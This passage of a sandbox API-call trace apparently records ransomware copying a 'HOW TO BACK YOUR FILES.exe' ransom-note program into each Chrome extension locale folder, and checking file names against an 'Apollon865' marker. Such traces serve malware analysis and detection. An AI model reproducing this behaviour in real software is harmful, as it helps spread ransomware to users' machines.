	[0048.396] lstrlenW (lpString="Apollon865") returned 10
	[0048.396] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.396] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK"
	[0048.396] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cbdb0 | out: hHeap=0x580000) returned 1
	[0048.396] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aff68 | out: hHeap=0x580000) returned 1
	[0048.396] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK") returned 140
	[0048.396] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK"
	[0048.396] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.396] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.400] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.400] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ebdd30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34ebdd30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.400] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.400] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.401] lstrcpyW (in: lpString1=0x2d3e66a, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.401] lstrlenW (lpString="messages.json") returned 13
	[0048.401] lstrlenW (lpString="Apollon865") returned 10
	[0048.401] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.401] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN"
	[0048.401] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cbc88 | out: hHeap=0x580000) returned 1
	[0048.401] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aff48 | out: hHeap=0x580000) returned 1
	[0048.401] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN") returned 140
	[0048.401] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN"
	[0048.401] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.401] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.405] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.405] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ebdd30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34ebdd30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.405] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.405] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.405] lstrcpyW (in: lpString1=0x2d3e66a, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.405] lstrlenW (lpString="messages.json") returned 13
	[0048.405] lstrlenW (lpString="Apollon865") returned 10
	[0048.405] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.405] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi"
	[0048.405] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cbb60 | out: hHeap=0x580000) returned 1
	[0048.405] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aff28 | out: hHeap=0x580000) returned 1
	[0048.405] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi") returned 137
	[0048.405] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi"
	[0048.405] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.406] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.410] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.410] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ebdd30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34ebdd30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.410] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.410] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.410] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.410] lstrlenW (lpString="messages.json") returned 13
	[0048.410] lstrlenW (lpString="Apollon865") returned 10
	[0048.410] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.411] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur"
	[0048.411] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cba38 | out: hHeap=0x580000) returned 1
	[0048.411] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aff08 | out: hHeap=0x580000) returned 1
	[0048.411] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur") returned 137
	[0048.411] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur"
	[0048.411] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.411] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.415] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.415] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ee3e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34ee3e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.415] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.415] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.415] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.415] lstrlenW (lpString="messages.json") returned 13
	[0048.415] lstrlenW (lpString="Apollon865") returned 10
	[0048.415] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.415] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk"
	[0048.416] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb910 | out: hHeap=0x580000) returned 1
	[0048.416] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afee8 | out: hHeap=0x580000) returned 1
	[0048.416] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk") returned 137
	[0048.416] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk"
	[0048.416] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.416] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.420] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.420] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ee3e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34ee3e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.420] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.420] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.420] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.420] lstrlenW (lpString="messages.json") returned 13
	[0048.420] lstrlenW (lpString="Apollon865") returned 10
	[0048.420] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.421] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr"
	[0048.421] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb7e8 | out: hHeap=0x580000) returned 1
	[0048.421] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afec8 | out: hHeap=0x580000) returned 1
	[0048.421] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr") returned 137
	[0048.421] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr"
	[0048.421] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.421] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.424] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.425] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ee3e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34ee3e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.425] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.425] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.425] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.425] lstrlenW (lpString="messages.json") returned 13
	[0048.425] lstrlenW (lpString="Apollon865") returned 10
	[0048.425] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.425] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th"
	[0048.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb6c0 | out: hHeap=0x580000) returned 1
	[0048.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afea8 | out: hHeap=0x580000) returned 1
	[0048.425] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th") returned 137
	[0048.425] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th"
	[0048.425] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.425] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.430] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
